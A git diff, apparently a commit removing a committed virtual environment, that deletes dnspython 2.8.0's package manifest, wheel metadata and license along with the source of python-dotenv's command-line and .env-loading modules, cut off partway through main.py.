-dns/rdtypes/ANY/PTR.py,sha256=5HcR1D77Otyk91vVY4tmqrfZfSxSXWyWvwIW-rIH5gc,997 -dns/rdtypes/ANY/RESINFO.py,sha256=Kf2NcKbkeI5gFE1bJfQNqQCaitYyXfV_9nQYl1luUZ0,1008 -dns/rdtypes/ANY/RP.py,sha256=8doJlhjYDYiAT6KNF1mAaemJ20YJFUPvit8LOx4-I-U,2174 -dns/rdtypes/ANY/RRSIG.py,sha256=_ohbap8Dp_3VMU4w7ozVWGyFCtpm8A-l1F1wQiFZogA,4941 -dns/rdtypes/ANY/RT.py,sha256=2t9q3FZQ28iEyceeU25KU2Ur0T5JxELAu8BTwfOUgVw,1013 -dns/rdtypes/ANY/SMIMEA.py,sha256=6yjHuVDfIEodBU9wxbCGCDZ5cWYwyY6FCk-aq2VNU0s,222 -dns/rdtypes/ANY/SOA.py,sha256=tbbpP7RK2kpTTYCgdAWGCxlIMcX9U5MTOhz7vLP4p0I,3034 -dns/rdtypes/ANY/SPF.py,sha256=rA3Srs9ECQx-37lqm7Zf7aYmMpp_asv4tGS8_fSQ-CU,1022 -dns/rdtypes/ANY/SSHFP.py,sha256=F5vrZB-MAmeGJFAgEwRjXxgxerhoAd6kT9AcNNmkcF4,2550 -dns/rdtypes/ANY/TKEY.py,sha256=qvMJd0HGQF1wHGk1eWdITBVnAkj1oTHHbP5zSzV4cTc,4848 -dns/rdtypes/ANY/TLSA.py,sha256=cytzebS3W7FFr9qeJ9gFSHq_bOwUk9aRVlXWHfnVrRs,218 -dns/rdtypes/ANY/TSIG.py,sha256=4fNQJSNWZXUKZejCciwQuUJtTw2g-YbPmqHrEj_pitg,4750 -dns/rdtypes/ANY/TXT.py,sha256=F1U9gIAhwXIV4UVT7CwOCEn_su6G1nJIdgWJsLktk20,1000 -dns/rdtypes/ANY/URI.py,sha256=JyPYKh2RXzI34oABDiJ2oDh3TE_l-zmut4jBNA-ONt4,2913 -dns/rdtypes/ANY/WALLET.py,sha256=IaP2g7Nq26jWGKa8MVxvJjWXLQ0wrNR1IWJVyyMG8oU,219 -dns/rdtypes/ANY/X25.py,sha256=BzEM7uOY7CMAm7QN-dSLj-_LvgnnohwJDUjMstzwqYo,1942 -dns/rdtypes/ANY/ZONEMD.py,sha256=DjBYvHY13nF70uxTM77zf3R9n0Uy8Frbj1LuBXbC7jU,2389 -dns/rdtypes/ANY/__init__.py,sha256=2UKaYp81SLH6ofE021on9pR7jzmB47D1iXjQ3M7FXrw,1539 -dns/rdtypes/ANY/__pycache__/AFSDB.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/AMTRELAY.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/AVC.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/CAA.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/CDNSKEY.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/CDS.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/CERT.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/CNAME.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/CSYNC.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/DLV.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/DNAME.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/DNSKEY.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/DS.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/DSYNC.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/EUI48.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/EUI64.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/GPOS.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/HINFO.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/HIP.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/ISDN.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/L32.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/L64.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/LOC.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/LP.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/MX.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/NID.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/NINFO.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/NS.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/NSEC.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/NSEC3.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/NSEC3PARAM.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/OPENPGPKEY.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/OPT.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/PTR.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/RESINFO.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/RP.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/RRSIG.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/RT.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/SMIMEA.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/SOA.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/SPF.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/SSHFP.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/TKEY.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/TLSA.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/TSIG.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/TXT.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/URI.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/WALLET.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/X25.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/ZONEMD.cpython-314.pyc,, -dns/rdtypes/ANY/__pycache__/__init__.cpython-314.pyc,, -dns/rdtypes/CH/A.py,sha256=Iq82L3RLM-OwB5hyvtX1Das9oToiZMzNgs979cAkDz8,2229 -dns/rdtypes/CH/__init__.py,sha256=GD9YeDKb9VBDo-J5rrChX1MWEGyQXuR9Htnbhg_iYLc,923 -dns/rdtypes/CH/__pycache__/A.cpython-314.pyc,, -dns/rdtypes/CH/__pycache__/__init__.cpython-314.pyc,, -dns/rdtypes/IN/A.py,sha256=FfFn3SqbpneL9Ky63COP50V2ZFxqS1ldCKJh39Enwug,1814 -dns/rdtypes/IN/AAAA.py,sha256=AxrOlYy-1TTTWeQypDKeXrDCrdHGor0EKCE4fxzSQGo,1820 -dns/rdtypes/IN/APL.py,sha256=4Kz56antsRGu-cfV2MCHN8rmVo90wnZXnLWA6uQpnk4,5081 -dns/rdtypes/IN/DHCID.py,sha256=x9vedfzJ3vvxPC1ihWTTcxXBMYL0Q24Wmj6O67aY5og,1875 -dns/rdtypes/IN/HTTPS.py,sha256=P-IjwcvDQMmtoBgsDHglXF7KgLX73G6jEDqCKsnaGpQ,220 -dns/rdtypes/IN/IPSECKEY.py,sha256=jMO-aGl1eglWDqMxAkM2BvKDjfe9O1X0avBoWCtWi30,3261 -dns/rdtypes/IN/KX.py,sha256=K1JwItL0n5G-YGFCjWeh0C9DyDD8G8VzicsBeQiNAv0,1013 -dns/rdtypes/IN/NAPTR.py,sha256=JhGpvtCn_qlNWWlW9ilrWh9PNElBgNq1SWJPqD3LRzA,3741 -dns/rdtypes/IN/NSAP.py,sha256=6YfWCVSIPTTBmRAzG8nVBj3LnohncXUhSFJHgp-TRdc,2163 -dns/rdtypes/IN/NSAP_PTR.py,sha256=iTxlV6fr_Y9lqivLLncSHxEhmFqz5UEElDW3HMBtuCU,1015 -dns/rdtypes/IN/PX.py,sha256=zRg_5eGQdpzCRUsXIccxJOs7xoTAn7i4PIrj0Zwv-1A,2748 -dns/rdtypes/IN/SRV.py,sha256=TVai6Rtfx0_73wH999uPGuz-p2m6BTVIleXy1Tlm5Dc,2759 -dns/rdtypes/IN/SVCB.py,sha256=HeFmi2v01F00Hott8FlvQ4R7aPxFmT7RF-gt45R5K_M,218 -dns/rdtypes/IN/WKS.py,sha256=4_dLY3Bh6ePkfgku11QzLJv74iSyoSpt8EflIp_AMNc,3644 -dns/rdtypes/IN/__init__.py,sha256=HbI8aw9HWroI6SgEvl8Sx6FdkDswCCXMbSRuJy5o8LQ,1083 -dns/rdtypes/IN/__pycache__/A.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/AAAA.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/APL.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/DHCID.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/HTTPS.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/IPSECKEY.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/KX.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/NAPTR.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/NSAP.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/NSAP_PTR.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/PX.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/SRV.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/SVCB.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/WKS.cpython-314.pyc,, -dns/rdtypes/IN/__pycache__/__init__.cpython-314.pyc,, -dns/rdtypes/__init__.py,sha256=NYizfGglJfhqt_GMtSSXf7YQXIEHHCiJ_Y_qaLVeiOI,1073 -dns/rdtypes/__pycache__/__init__.cpython-314.pyc,, -dns/rdtypes/__pycache__/dnskeybase.cpython-314.pyc,, -dns/rdtypes/__pycache__/dsbase.cpython-314.pyc,, -dns/rdtypes/__pycache__/euibase.cpython-314.pyc,, -dns/rdtypes/__pycache__/mxbase.cpython-314.pyc,, -dns/rdtypes/__pycache__/nsbase.cpython-314.pyc,, -dns/rdtypes/__pycache__/svcbbase.cpython-314.pyc,, -dns/rdtypes/__pycache__/tlsabase.cpython-314.pyc,, -dns/rdtypes/__pycache__/txtbase.cpython-314.pyc,, -dns/rdtypes/__pycache__/util.cpython-314.pyc,, -dns/rdtypes/dnskeybase.py,sha256=GXSOvGtiRjY3fhqlI_T-4ukF4JQvvh3sk7UF0vipmPc,2824 -dns/rdtypes/dsbase.py,sha256=elOLkRb45vYzyh36_1FSJWWO9AI2wnK3GpddmQNdj3Y,3423 -dns/rdtypes/euibase.py,sha256=2DluC_kTi2io2ICgzFEdSxKGPFx3ib3ZXnA6YaAhAp0,2675 -dns/rdtypes/mxbase.py,sha256=N_3EX_2BgY0wMdGADL6_5nxBRUdx4ZcdNIYfGg5rMP8,3190 -dns/rdtypes/nsbase.py,sha256=tueXVV6E8lelebOmrmoOPq47eeRvOpsxHVXH4cOFxcs,2323 -dns/rdtypes/svcbbase.py,sha256=0VnPpt7fSCNt_MtGnWOiYtkY-6jQRWIli8JTRROakys,17717 -dns/rdtypes/tlsabase.py,sha256=hHuRO_MQ5g_tWBIDyTNArAWwbUc-MdZlXcjQxy5defA,2588 -dns/rdtypes/txtbase.py,sha256=lEzlKS6dx6UnhgoBPGIzqC3G0e8iWBetrkDtkwM16Ic,3723 -dns/rdtypes/util.py,sha256=WjiRlxsu_sq40XpSdR6wN54WWavKe7PLh-V9UaNhk7A,9680 -dns/renderer.py,sha256=sj_m9NRJoY8gdQ9zOhSVu0pTAUyBtM5AGpfea83jGpQ,11500 -dns/resolver.py,sha256=FRa-pJApeV_DFgLEwiwZP-2g7RHAg0kVCbg9EdNYLnc,73967 -dns/reversename.py,sha256=pPDGRfg7iq09cjEhKLKEcahdoyViS0y0ORip--r5vk8,3845 -dns/rrset.py,sha256=f8avzbtBb-y93jdyhhTJ8EJx1zOTcNTK3DtiK84eGNY,9129 -dns/serial.py,sha256=-t5rPW-TcJwzBMfIJo7Tl-uDtaYtpqOfCVYx9dMaDCY,3606 -dns/set.py,sha256=hublMKCIhd9zp5Hz_fvQTwF-Ze28jn7mjqei6vTGWfs,9213 -dns/tokenizer.py,sha256=dqQvBF3oUjP7URC7ZzBuQVLMVXhvf1gJusIpkV-IQ6U,23490 -dns/transaction.py,sha256=HnHa4nKL_ddtuWH4FaiKPEt81ImELL1fumZb3ll4KbI,22579 -dns/tsig.py,sha256=mWjZGZL75atl-jf3va1FhP9LfLGWT5g9Y9DgsSan4Mo,11576 -dns/tsigkeyring.py,sha256=1xSBgaV1KLR_9FQGsGWbkBD3XJjK8IFQx-H_olH1qyQ,2650 -dns/ttl.py,sha256=Rl8UOKV0_QyZzOdQ-JoB7nSHvBFehZXe_M0cxIBVc3Y,2937 -dns/update.py,sha256=iqZEO-_U0ooAqLlIRo1OhAKI8d-jpwPhBy-vC8v1dtY,12236 -dns/version.py,sha256=d7ViavUC8gYfrWbeyH8WMAldyGk_WVF5_zkCmCJv0ZQ,1763 -dns/versioned.py,sha256=yJ76QfKdIEKBtKX_DLA_IZGUZoFB1id1mMKzIj2eRm8,11841 -dns/win32util.py,sha256=iz5Gw0CTHAIqumdE25xdYUbhhSFiaZTRM-HXskglB2o,16799 -dns/wire.py,sha256=hylnQ30yjA3UcJSElhSAqYKMt5HICYqQ_N5b71K2smA,3155 -dns/xfr.py,sha256=UE4xAyfRDNH14x4os8yC-4Tl8brc_kCpBLxT0h6x-AM,13637 -dns/zone.py,sha256=ZferSA6wMN46uuBNkrgbRcSM8FSCCxMrNiLT3WoISbw,53098 -dns/zonefile.py,sha256=Xz24A8wH97NoA_iTbastSzUZ-S-DmLFG0SgIfVzQinY,28517 -dns/zonetypes.py,sha256=HrQNZxZ_gWLWI9dskix71msi9wkYK5pgrBBbPb1T74Y,690 -dnspython-2.8.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -dnspython-2.8.0.dist-info/METADATA,sha256=dPdZU5uJ4pkVGy1pfGEjBzRbdm27fpQ1z4Y6Bpgf04U,5680 -dnspython-2.8.0.dist-info/RECORD,, -dnspython-2.8.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -dnspython-2.8.0.dist-info/WHEEL,sha256=qtCwoSJWgHk21S1Kb4ihdzI2rlJ1ZKaIurTj_ngOhyQ,87 -dnspython-2.8.0.dist-info/licenses/LICENSE,sha256=w-o_9WVLMpwZ07xfdIGvYjw93tSmFFWFSZ-EOtPXQc0,1526 diff --git a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/REQUESTED b/venv/Lib/site-packages/dnspython-2.8.0.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/WHEEL b/venv/Lib/site-packages/dnspython-2.8.0.dist-info/WHEEL deleted file mode 100644 index 12228d414b6cfed7c39d3781c85c63256a1d7fb5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/WHEEL +++ /dev/null @@ -1,4 +0,0 @@ -Wheel-Version: 1.0 -Generator: hatchling 1.27.0 -Root-Is-Purelib: true -Tag: py3-none-any diff --git a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/licenses/LICENSE b/venv/Lib/site-packages/dnspython-2.8.0.dist-info/licenses/LICENSE deleted file mode 100644 index 390a726dceb02e67bae01849000eb44632f01703..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dnspython-2.8.0.dist-info/licenses/LICENSE +++ /dev/null @@ -1,35 +0,0 @@ -ISC License - -Copyright (C) Dnspython Contributors - -Permission to use, copy, modify, and/or distribute this software for -any purpose with or without fee is hereby granted, provided that the -above copyright notice and this permission notice appear in all -copies. - -THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL -WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE -AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL -DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR -PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER -TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR -PERFORMANCE OF THIS SOFTWARE. - - - -Copyright (C) 2001-2017 Nominum, Inc. -Copyright (C) Google Inc. - -Permission to use, copy, modify, and distribute this software and its -documentation for any purpose with or without fee is hereby granted, -provided that the above copyright notice and this permission notice -appear in all copies. - -THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. diff --git a/venv/Lib/site-packages/dotenv/__init__.py b/venv/Lib/site-packages/dotenv/__init__.py deleted file mode 100644 index dde24a0138999bd3876dfdfad02d5d93014e481c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/__init__.py +++ /dev/null @@ -1,51 +0,0 @@ -from typing import Any, Optional - -from .main import dotenv_values, find_dotenv, get_key, load_dotenv, set_key, unset_key - - -def load_ipython_extension(ipython: Any) -> None: - from .ipython import load_ipython_extension - - load_ipython_extension(ipython) - - -def get_cli_string( - path: Optional[str] = None, - action: Optional[str] = None, - key: Optional[str] = None, - value: Optional[str] = None, - quote: Optional[str] = None, -): - """Returns a string suitable for running as a shell script. - - Useful for converting a arguments passed to a fabric task - to be passed to a `local` or `run` command. - """ - command = ["dotenv"] - if quote: - command.append(f"-q {quote}") - if path: - command.append(f"-f {path}") - if action: - command.append(action) - if key: - command.append(key) - if value: - if " " in value: - command.append(f'"{value}"') - else: - command.append(value) - - return " ".join(command).strip() - - -__all__ = [ - "get_cli_string", - "load_dotenv", - "dotenv_values", - "get_key", - "set_key", - "unset_key", - "find_dotenv", - "load_ipython_extension", -] diff --git a/venv/Lib/site-packages/dotenv/__main__.py b/venv/Lib/site-packages/dotenv/__main__.py deleted file mode 100644 index 3977f55a8b1e94e67bab364885e502e6c89e3bc5..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/__main__.py +++ /dev/null @@ -1,6 +0,0 @@ -"""Entry point for cli, enables execution with `python -m dotenv`""" - -from .cli import cli - -if __name__ == "__main__": - cli() diff --git a/venv/Lib/site-packages/dotenv/cli.py b/venv/Lib/site-packages/dotenv/cli.py deleted file mode 100644 index 79613e2805205b25649e341c0f4fd4304a53fb96..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/cli.py +++ /dev/null @@ -1,247 +0,0 @@ -import json -import os -import shlex -import sys -from contextlib import contextmanager -from typing import IO, Any, Dict, Iterator, List, Optional - -if sys.platform == "win32": - from subprocess import Popen - -try: - import click -except ImportError: - sys.stderr.write( - "It seems python-dotenv is not installed with cli option. \n" - 'Run pip install "python-dotenv[cli]" to fix this.' - ) - sys.exit(1) - -from .main import dotenv_values, set_key, unset_key -from .version import __version__ - - -def enumerate_env() -> Optional[str]: - """ - Return a path for the ${pwd}/.env file. - - If pwd does not exist, return None. - """ - try: - cwd = os.getcwd() - except FileNotFoundError: - return None - path = os.path.join(cwd, ".env") - return path - - -@click.group() -@click.option( - "-f", - "--file", - default=enumerate_env(), - type=click.Path(file_okay=True), - help="Location of the .env file, defaults to .env file in current working directory.", -) -@click.option( - "-q", - "--quote", - default="always", - type=click.Choice(["always", "never", "auto"]), - help="Whether to quote or not the variable values. Default mode is always. This does not affect parsing.", -) -@click.option( - "-e", - "--export", - default=False, - type=click.BOOL, - help="Whether to write the dot file as an executable bash script.", -) -@click.version_option(version=__version__) -@click.pass_context -def cli(ctx: click.Context, file: Any, quote: Any, export: Any) -> None: - """This script is used to set, get or unset values from a .env file.""" - ctx.obj = {"QUOTE": quote, "EXPORT": export, "FILE": file} - - -@contextmanager -def stream_file(path: os.PathLike) -> Iterator[IO[str]]: - """ - Open a file and yield the corresponding (decoded) stream. - - Exits with error code 2 if the file cannot be opened. - """ - - try: - with open(path) as stream: - yield stream - except OSError as exc: - print(f"Error opening env file: {exc}", file=sys.stderr) - sys.exit(2) - - -@cli.command(name="list") -@click.pass_context -@click.option( - "--format", - "output_format", - default="simple", - type=click.Choice(["simple", "json", "shell", "export"]), - help="The format in which to display the list. Default format is simple, " - "which displays name=value without quotes.", -) -def list_values(ctx: click.Context, output_format: str) -> None: - """Display all the stored key/value.""" - file = ctx.obj["FILE"] - - with stream_file(file) as stream: - values = dotenv_values(stream=stream) - - if output_format == "json": - click.echo(json.dumps(values, indent=2, sort_keys=True)) - else: - prefix = "export " if output_format == "export" else "" - for k in sorted(values): - v = values[k] - if v is not None: - if output_format in ("export", "shell"): - v = shlex.quote(v) - click.echo(f"{prefix}{k}={v}") - - -@cli.command(name="set") -@click.pass_context -@click.argument("key", required=True) -@click.argument("value", required=True) -def set_value(ctx: click.Context, key: Any, value: Any) -> None: - """ - Store the given key/value. - - This doesn't follow symlinks, to avoid accidentally modifying a file at a - potentially untrusted path. - """ - - file = ctx.obj["FILE"] - quote = ctx.obj["QUOTE"] - export = ctx.obj["EXPORT"] - success, key, value = set_key(file, key, value, quote, export) - if success: - click.echo(f"{key}={value}") - else: - sys.exit(1) - - -@cli.command() -@click.pass_context -@click.argument("key", required=True) -def get(ctx: click.Context, key: Any) -> None: - """Retrieve the value for the given key.""" - file = ctx.obj["FILE"] - - with stream_file(file) as stream: - values = dotenv_values(stream=stream) - - stored_value = values.get(key) - if stored_value: - click.echo(stored_value) - else: - sys.exit(1) - - -@cli.command() -@click.pass_context -@click.argument("key", required=True) -def unset(ctx: click.Context, key: Any) -> None: - """ - Removes the given key. - - This doesn't follow symlinks, to avoid accidentally modifying a file at a - potentially untrusted path. - """ - file = ctx.obj["FILE"] - quote = ctx.obj["QUOTE"] - success, key = unset_key(file, key, quote) - if success: - click.echo(f"Successfully removed {key}") - else: - sys.exit(1) - - -@cli.command( - context_settings={ - "allow_extra_args": True, - "allow_interspersed_args": False, - "ignore_unknown_options": True, - } -) -@click.pass_context -@click.option( - "--override/--no-override", - default=True, - help="Override variables from the environment file with those from the .env file.", -) -@click.argument("commandline", nargs=-1, type=click.UNPROCESSED) -def run(ctx: click.Context, override: bool, commandline: tuple[str, ...]) -> None: - """Run command with environment variables present.""" - file = ctx.obj["FILE"] - if not os.path.isfile(file): - raise click.BadParameter( - f"Invalid value for '-f' \"{file}\" does not exist.", ctx=ctx - ) - dotenv_as_dict = { - k: v - for (k, v) in dotenv_values(file).items() - if v is not None and (override or k not in os.environ) - } - - if not commandline: - click.echo("No command given.") - sys.exit(1) - - run_command([*commandline, *ctx.args], dotenv_as_dict) - - -def run_command(command: List[str], env: Dict[str, str]) -> None: - """Replace the current process with the specified command. - - Replaces the current process with the specified command and the variables from `env` - added in the current environment variables. - - Parameters - ---------- - command: List[str] - The command and it's parameters - env: Dict - The additional environment variables - - Returns - ------- - None - This function does not return any value. It replaces the current process with the new one. - - """ - # copy the current environment variables and add the vales from - # `env` - cmd_env = os.environ.copy() - cmd_env.update(env) - - if sys.platform == "win32": - # execvpe on Windows returns control immediately - # rather than once the command has finished. - try: - p = Popen( - command, universal_newlines=True, bufsize=0, shell=False, env=cmd_env - ) - except FileNotFoundError: - print(f"Command not found: {command[0]}", file=sys.stderr) - sys.exit(1) - - _, _ = p.communicate() - - sys.exit(p.returncode) - else: - try: - os.execvpe(command[0], args=command, env=cmd_env) - except FileNotFoundError: - print(f"Command not found: {command[0]}", file=sys.stderr) - sys.exit(1) diff --git a/venv/Lib/site-packages/dotenv/ipython.py b/venv/Lib/site-packages/dotenv/ipython.py deleted file mode 100644 index 4e7edbbfe9d0d4c08659f12c469991a3fcb16b04..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/ipython.py +++ /dev/null @@ -1,50 +0,0 @@ -from IPython.core.magic import Magics, line_magic, magics_class # type: ignore -from IPython.core.magic_arguments import ( - argument, - magic_arguments, - parse_argstring, -) # type: ignore - -from .main import find_dotenv, load_dotenv - - -@magics_class -class IPythonDotEnv(Magics): - @magic_arguments() - @argument( - "-o", - "--override", - action="store_true", - help="Indicate to override existing variables", - ) - @argument( - "-v", - "--verbose", - action="store_true", - help="Indicate function calls to be verbose", - ) - @argument( - "dotenv_path", - nargs="?", - type=str, - default=".env", - help="Search in increasingly higher folders for the `dotenv_path`", - ) - @line_magic - def dotenv(self, line): - args = parse_argstring(self.dotenv, line) - # Locate the .env file - dotenv_path = args.dotenv_path - try: - dotenv_path = find_dotenv(dotenv_path, True, True) - except IOError: - print("cannot find .env file") - return - - # Load the .env file - load_dotenv(dotenv_path, verbose=args.verbose, override=args.override) - - -def load_ipython_extension(ipython): - """Register the %dotenv magic.""" - ipython.register_magics(IPythonDotEnv) diff --git a/venv/Lib/site-packages/dotenv/main.py b/venv/Lib/site-packages/dotenv/main.py deleted file mode 100644 index 3123690a3e41442596a24793e87a5416beac8ee7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dotenv/main.py +++ /dev/null @@ -1,487 +0,0 @@ -import io -import logging -import os -import pathlib -import stat -import sys -import tempfile -from collections import OrderedDict -from contextlib import contextmanager -from typing import IO, Dict, Iterable, Iterator, Mapping, Optional, Tuple, Union - -from .parser import Binding, parse_stream -from .variables import parse_variables - -# A type alias for a string path to be used for the paths in this file. -# These paths may flow to `open()` and `os.replace()`. -StrPath = Union[str, "os.PathLike[str]"] - -logger = logging.getLogger(__name__) - - -def _load_dotenv_disabled() -> bool: - """ - Determine if dotenv loading has been disabled. - """ - if "PYTHON_DOTENV_DISABLED" not in os.environ: - return False - value = os.environ["PYTHON_DOTENV_DISABLED"].casefold() - return value in {"1", "true", "t", "yes", "y"} - - -def with_warn_for_invalid_lines(mappings: Iterator[Binding]) -> Iterator[Binding]: - for mapping in mappings: - if mapping.error: - logger.warning( - "python-dotenv could not parse statement starting at line %s", - mapping.original.line, - ) - yield mapping - - -class DotEnv: - def __init__( - self, - dotenv_path: Optional[StrPath], - stream: Optional[IO[str]] = None, - verbose: bool = False, - encoding: Optional[str] = None, - interpolate: bool = True, - override: bool = True, - ) -> None: - self.dotenv_path: Optional[StrPath] = dotenv_path - self.stream: Optional[IO[str]] = stream - self._dict: Optional[Dict[str, Optional[str]]] = None - self.verbose: bool = verbose - self.encoding: Optional[str] = encoding - self.interpolate: bool = interpolate - self.override: bool = override - - @contextmanager - def _get_stream(self) -> Iterator[IO[str]]: - if self.dotenv_path and _is_file_or_fifo(self.dotenv_path): - with open(self.dotenv_path, encoding=self.encoding) as stream: - yield stream - elif self.stream is not None: - yield self.stream - else: - if self.verbose: - logger.info( - "python-dotenv could not find configuration file %s.", - self.dotenv_path or ".env", - ) - yield io.StringIO("") - - def dict(self) -> Dict[str, Optional[str]]: - """Return dotenv as dict""" - if self._dict is not None: - return self._dict - - raw_values = self.parse() - - if self.interpolate: - self._dict = OrderedDict( - resolve_variables(raw_values, override=self.override) - ) - else: - self._dict = OrderedDict(raw_values) - - return self._dict - - def parse(self) -> Iterator[Tuple[str, Optional[str]]]: - with self._get_stream() as stream: - for mapping in with_warn_for_invalid_lines(parse_stream(stream)): - if mapping.key is not None: - yield mapping.key, mapping.value - - def set_as_environment_variables(self) -> bool: - """ - Load the current dotenv as system environment variable. - """ - if not self.dict(): - return False - - for k, v in self.dict().items(): - if k in os.environ and not self.override: - continue - if v is not None: - os.environ[k] = v - - return True - - def get(self, key: str) -> Optional[str]: - """ """ - data = self.dict() - - if key in data: - return data[key] - - if self.verbose: - logger.warning("Key %s not found in %s.", key, self.dotenv_path) - - return None - - -def get_key( - dotenv_path: StrPath, - key_to_get: str, - encoding: Optional[str] = "utf-8", -) -> Optional[str]: - """ - Get the value of a given key from the given .env. - - Returns `None` if the key isn't found or doesn't have a value. - """ - return DotEnv(dotenv_path, verbose=True, encoding=encoding).get(key_to_get) - - -@contextmanager -def rewrite( - path: StrPath, - encoding: Optional[str], - follow_symlinks: bool = False, -) -> Iterator[Tuple[IO[str], IO[str]]]: - if follow_symlinks: - path = os.path.realpath(path) - - try: - source: IO[str] = open(path, encoding=encoding) - try: - path_stat = os.lstat(path) - original_mode: Optional[int] = ( - stat.S_IMODE(path_stat.st_mode) - if stat.S_ISREG(path_stat.st_mode) - else None - ) - except BaseException: - source.close() - raise - except FileNotFoundError: - source = io.StringIO("") - original_mode = None - - with tempfile.NamedTemporaryFile( - mode="w", - encoding=encoding, - delete=False, - prefix=".tmp_", - dir=os.path.dirname(os.path.abspath(path)), - ) as dest: - dest_path = pathlib.Path(dest.name) - error = None - - try: - with source: - yield (source, dest) - except BaseException as err: - error = err - - if error is None: - try: - if original_mode is not None: - os.chmod(dest_path, original_mode) - - os.replace(dest_path, path) - except BaseException: - dest_path.unlink(missing_ok=True) - raise - else: - dest_path.unlink(missing_ok=True) - raise error from None - - -def set_key( - dotenv_path: StrPath, - key_to_set: str, - value_to_set: str, - quote_mode: str = 